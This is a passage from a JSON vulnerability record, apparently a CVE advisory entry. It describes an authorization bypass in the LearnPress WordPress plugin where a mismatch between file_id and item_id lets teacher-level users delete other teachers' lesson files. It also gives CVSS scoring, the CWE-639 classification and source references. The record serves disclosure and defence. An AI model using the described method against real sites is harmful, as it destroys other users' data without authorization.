This is due to a parameter mismatch between the DELETE operation and authorization check, where the endpoint uses file_id from the URL path but the permission callback validates item_id from the request body. This makes it possible for authenticated attackers, with teacher-level access, to delete arbitrary lesson material files uploaded by other teachers via sending a DELETE request with their own item_id (to pass authorization) while targeting another teacher's file_id."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/learnpress/tags/4.3.2.1/inc/rest-api/v1/frontend/class-lp-rest-material-controller.php#L405", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/learnpress/tags/4.3.2.1/inc/rest-api/v1/frontend/class-lp-rest-material-controller.php#L527", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/learnpress/tags/4.3.2.1/inc/rest-api/v1/frontend/class-lp-rest-material-controller.php#L77", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/learnpress/tags/4.3.2.3/inc/rest-api/v1/frontend/class-lp-rest-material-controller.php#L403", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/884c4508-1ee1-4384-9fc2-29e2c9042426?source=cve", "source": "[email protected]"}]}}
